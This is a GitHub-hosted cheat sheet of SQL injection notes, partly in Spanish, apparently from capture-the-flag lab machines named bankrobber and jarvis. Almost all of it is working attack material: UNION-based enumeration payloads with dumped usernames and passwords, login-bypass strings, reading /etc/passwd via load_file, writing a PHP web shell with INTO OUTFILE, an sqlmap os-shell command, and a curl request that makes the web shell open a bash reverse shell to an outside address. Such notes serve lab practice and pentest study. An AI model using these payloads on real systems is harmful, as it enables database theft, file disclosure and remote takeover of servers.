Repository navigation
Expand file tree
/
Copy pathsqlmap
More file actions
61 lines (50 loc) · 2.88 KB
/
Copy pathsqlmap
File metadata and controls
61 lines (50 loc) · 2.88 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// current user
-1' union select 1,user(),'1
root@localhost
// current database
-1' union select 1,database(),'1
bankrobber
// database tables
-1' union select 1,group_concat(table_name),1 from information_schema.tables where table_schema=database()-- -
balance,hold,users
// columns of table users
-1' union select 1,group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='users'-- -
id,username,password
// rows of table users
-1' union select 1,group_concat(id,'|',username,'|',password),1 from users-- -
1|admin|Hopelessromantic,2|gio|gio,3|noob|noob
para ver archivos pero no escribirlos
-1' union select 1,group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='users'-- -
enumeracion
' or 0=0 --
' or 0=0 #
' or 0=0 #"
' or '1'='1'--
' or 1 --'
' or 1=1--
' or 1=1 or ''='
' or 1=1 or ""=
' or a=a--
' or a=a
') or ('a'='a
'hi' or 'x'='x';
En las url para realizar testeo se debe hacer de la siguiete manera
'-- - testea si es inyectable la pagina, si regresa la misma página es que si
-- - testea si es inyectable la pagina, si regresa la misma página es que si
and 1=1-- - testea si es inyectable la pagina, si regresa la misma página es que si
and 1=2-- - testea si es inyectable la pagina, si regresa la misma página es que si
order by 5 Testea el número de tablas, se puede ir aumentando el numero y en el momento en el que deje de mostrar la página es porque ese es el numero máximo.
use the negative value to prevent the room being selected over our values.
-1 union select 1,2,3,4,5,6,7 enumerando las tablas se logrará ver en cuales de las tablas se encuentra la inyección
http://10.11.0.22/debug.php?id=1 union all select 1, 2, @@version --> muestra la vesión de la base de datos.
-1 union select 1, database(),user(),4,5,6,7 al seleccionar las tablas inyectables junto con la sentencia mensionada se podrá ver la base de datos y el usuario.
-1 union select 1, load_file('/etc/passwd'),3,4,5,6,7 leer archivos.
-1 union select 1, load_file('/etc/passwd'),3,4,5,6,7 into outfile '/var/www/html/diego.txt' leer el archivo passwd y escribirlo en un archivo diego.txt
-1 union select 1,'<?php system($_REQUEST["cmd"]);?>',3,4,5,6,7 into outfile '/var/www/html/diego.php' escribir una shell simple en un archivo diego.php
http://10.11.0.22/debug.php?id=1 union all select 1, 2, column_name from information_s
chema.columns where table_name='users' muestra información del usuario
http://10.11.0.22/debug.php?id=1 union all select 1, username, password from users
sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" --dbms=mysql --os-shell
curl -X POST http://10.10.10.143/diego.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.6/1234 0>&1"' ejecutando comandos con curl y la webshell recientemente subida.
La máquina de este laboratorio es jarvis.
https://github.com/jadz/php-sploits bypass logins